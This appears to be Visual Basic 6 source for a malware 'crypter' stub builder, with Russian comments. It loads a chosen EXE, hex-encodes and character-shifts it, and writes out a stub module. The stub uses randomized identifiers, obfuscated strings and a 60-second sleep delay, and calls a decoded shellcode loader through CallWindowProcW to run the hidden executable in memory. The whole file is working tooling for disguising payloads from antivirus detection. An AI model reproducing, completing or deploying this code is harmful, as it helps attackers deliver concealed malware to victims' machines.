Dim Rand(1 To 100) As String

Private Sub Form_Load()
'Загрузка темы из ресурсов
Dim dnc1hu99UDaA As String
Dim RZliJ9CJFTW() As Byte
dnc1hu99UDaA = Chr$(92) & Chr$(65) & Chr$(75) & Chr$(73) & Chr$(78) & Chr$(46) & Chr$(77) & Chr$(83) & Chr$(83) & Chr$(84) & Chr$(89) & Chr$(76) & Chr$(69) & Chr$(83)
RZliJ9CJFTW = LoadResData(101, Chr$(67) & Chr$(85) & Chr$(83) & Chr$(84) & Chr$(79) & Chr$(77))
Open dnc1hu99UDaA For Binary As 1#
Put #1, , RZliJ9CJFTW
Close #1
SkinFramework1.LoadSkin Chr$(92) & Chr$(65) & Chr$(75) & Chr$(73) & Chr$(78) & Chr$(46) & Chr$(77) & Chr$(83) & Chr$(83) & Chr$(84) & Chr$(89) & Chr$(76) & Chr$(69) & Chr$(83), vbNullString
SkinFramework1.ApplyWindow Me.hWnd
End Sub

Private Sub PushButton1_Click()
'Открытие EXE файла
With CD
.Filter = "EXE|*.exe"
.ShowOpen
End With
FlatEdit1.Text = CD.FileName
End Sub

Public Function sRandom()
'Генерация рандомных чисел\букв
Dim zeichen As String
Dim i As Integer
Randomize
zeichen = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
For i = 1 To Replace(FlatEdit3.Text, "NumKey: ", "")
sRandom = sRandom & Mid$(zeichen, Int((Rnd * Len(zeichen)) + 1), 1)
Next i
End Function

Private Sub PushButton2_Click()
For i = 1 To 1
Rand(i) = sRandom
A1 = sRandom
A2 = sRandom
A3 = sRandom
A4 = sRandom
A5 = sRandom
B1 = sRandom
C1 = sRandom
D1 = sRandom
E1 = sRandom
G1 = sRandom
F1 = sRandom
S1 = sRandom
Q1 = sRandom
H1 = sRandom
QQQ = sRandom
WWW = sRandom
EEE = sRandom
RRR = sRandom
TTT = sRandom
YYY = sRandom
UUU = sRandom
Text1.Text = sRandom
Text2.Text = sRandom
Text3.Text = sRandom
Open App.Path & "\Module1.bas" For Append As #1
Print #1, "Private Declare Function CallWindowProcW Lib ""\WINDOWS\SYSTEM32\USER32.DLL"" (ByVal " & A1 & " As Long, ByVal " & A2 & " As Long, ByVal " & A3 & " As Long, ByVal " & A4 & " As Long, ByVal " & A5 & " As Long) As Long"
Print #1, "Private Declare Sub Sleep Lib ""\WINDOWS\SYSTEM32\KERNEL32.DLL"" (ByVal " & B1 & " As Long)"
Print #1, "Private " & C1 & " As String"
Print #1, "Private " & D1 & "(1287) As Byte"
Print #1, ""

Print #1, "Public Function " & E1 & "(" & G1 & " As String)"
Print #1, "If " & G1 & " = vbNullString Then"
Print #1, E1 & " = vbNullString"
Print #1, "Exit Function"
Print #1, "Else"
Print #1, "If Not StrComp(Left$(" & G1 & ", Len(" & EEE & "(" & Chr$(34) & dfghsdg("" & Text3.Text & "") & Chr$(34) & "))), " & EEE & "(" & Chr$(34) & dfghsdg("" & Text3.Text & "") & Chr$(34) & ")" & ", vbTextCompare) = 0 Then"
Print #1, "GoTo DecodeError"
Print #1, "End If"
Print #1, "Dim " & F1 & " As String"
Print #1, F1 & "= Mid$(" & G1 & ", 1 + Len(" & EEE & "(" & Chr$(34) & dfghsdg("" & Text3.Text & "") & Chr$(34) & ")))"
Print #1, "If Len(" & F1 & ") Mod 2 = 1 Then"
Print #1, "GoTo DecodeError"
Print #1, "End If"
Print #1, "Dim " & S1 & " As Long"
Print #1, S1 & " = Len(" & F1 & ") / 2"
Print #1, "ReDim hexChars(0 To " & S1 & " - 1) As Byte"
Print #1, "Dim " & Q1 & " As Long"
Print #1, "For " & Q1 & " = 0 To " & S1 & " - 1"
Print #1, "Dim " & H1 & " As String"
Print #1, H1 & " = ""&h"" & Mid$(" & G1 & ", 1 + " & Q1 & " * 2, 2)"
Print #1, "If Not " & "IsNumeric(" & H1 & ") Then"
Print #1, "GoTo DecodeError"
Print #1, "End If"
Print #1, "hexChars(" & Q1 & ") = CByte(" & H1 & ")"
Print #1, "Next " & Q1
Print #1, E1 & " = StrConv(hexChars, vbUnicode)"
Print #1, "End If"
Print #1, "SafeExit:"
Print #1, "Exit Function"
Print #1, "DecodeError:"
Print #1, E1 & " = CVErr(xlErrValue)"
Print #1, "End Function"

Print #1, ""
Print #1, "Private Sub MDIForm_Load()"
Print #1, "On Error GoTo Func_Error"
Print #1, "Sleep " & Chr$(34) & "59999" & Chr$(34)
Print #1, "Dim " & Text1.Text & " As String"
Print #1, func_1(dfghsdg(LoadResString(101)))
Dim uc8JmbQUc As String
Open FlatEdit1.Text For Binary As #2
uc8JmbQUc = Space(LOF(1))
Get #2, , uc8JmbQUc
Close #2
Print #1, "Dim " & Text2.Text & " As String"
Print #1, func_2(dfghsdg(oFvJLMLj8(uc8JmbQUc)))
Print #1, "Dim " & WWW & "() As Byte"
Print #1, WWW & " = StrConv(" & E1 & "(" & EEE & "(" & Text2.Text & ")), vbFromUnicode)"
Print #1, C1 & " = StrReverse(" & EEE & "(" & Text1.Text & "))"
Print #1, "Dim " & YYY & " As Long"
Print #1, "For " & YYY & " = 1 To Len(" & C1 & ") - 1 Step 2"
Print #1, "Dim " & UUU & " As Long"
Print #1, D1 & "(" & UUU & ") = CByte(" & EEE & "(" & Chr$(34) & dfghsdg("&H") & Chr$(34) & ")" & " & Mid$(" & C1 & ", " & YYY & ", 2)): " & UUU & " = " & UUU & " + 1"
Print #1, "Next " & YYY
Print #1, "CallWindowProcW VarPtr(" & D1 & "(0)), StrPtr(" & "App.EXEName & " & Chr$(34) & ".EXE" & Chr$(34) & "), VarPtr(" & WWW & "(0)), 0, 0"
Print #1, "End Sub"
Print #1, ""

Print #1, "Public Function " & EEE & "(" & RRR & " As String) As String"
Print #1, "Dim " & TTT & " As Long"
Print #1, "For " & TTT & " = 0 To Len(" & RRR & ")" & " - 1"
Print #1, "sconv = Mid(" & RRR & ", " & TTT & " + 1, 1)"
Print #1, "sconv = Asc(sconv) - " & Replace(FlatEdit3.Text, "NumKey: ", "")
Print #1, EEE & " = " & EEE & " & Chr(sconv)"
Print #1, "Next " & TTT
Print #1, "End Function"
Close #1
Next i
End Sub

Public Function dfghsdg(Cadena As String) As String
Dim i As Long
For i = 0 To Len(Cadena) - 1
sconv = Mid(Cadena, i + 1, 1)
sconv = Asc(sconv) + Replace(FlatEdit3.Text, "NumKey: ", "")
dfghsdg = dfghsdg & Chr(sconv)
Next i
End Function

Public Function oFvJLMLj8(E1xLWbUln As String)
If E1xLWbUln = vbNullString Then
oFvJLMLj8 = E1xLWbUln
Else
Dim sraRRzu0j() As Byte
sraRRzu0j = StrConv(E1xLWbUln, vbFromUnicode)
ReDim hexChars(LBound(sraRRzu0j) To UBound(sraRRzu0j)) As String
Dim MZOedHrjh As Long
For MZOedHrjh = LBound(sraRRzu0j) To UBound(sraRRzu0j)
hexChars(MZOedHrjh) = Right$("00" & Hex$(sraRRzu0j(MZOedHrjh)), 2)
Next MZOedHrjh
oFvJLMLj8 = "" & Text3.Text & "" & Join(hexChars, "")
End If
End Function

Function func_1(s)
Dim i As Integer
For i = 1 To Len(s) Step Replace(FlatEdit3.Text, "NumKey: ", "")
Print #1, Text1.Text & " = " & Text1.Text & " & " & Chr$(34) & Mid(s, i, Replace(FlatEdit3.Text, "NumKey: ", "")) & Chr$(34)
Next i
End Function

Function func_2(s)
Dim i As Integer
For i = 1 To Len(s) Step Replace(FlatEdit3.Text, "NumKey: ", "")
Print #1, Text2.Text & " = " & Text2.Text & " & " & Chr$(34) & Mid(s, i, Replace(FlatEdit3.Text, "NumKey: ", "")) & Chr$(34)
Next i
End Function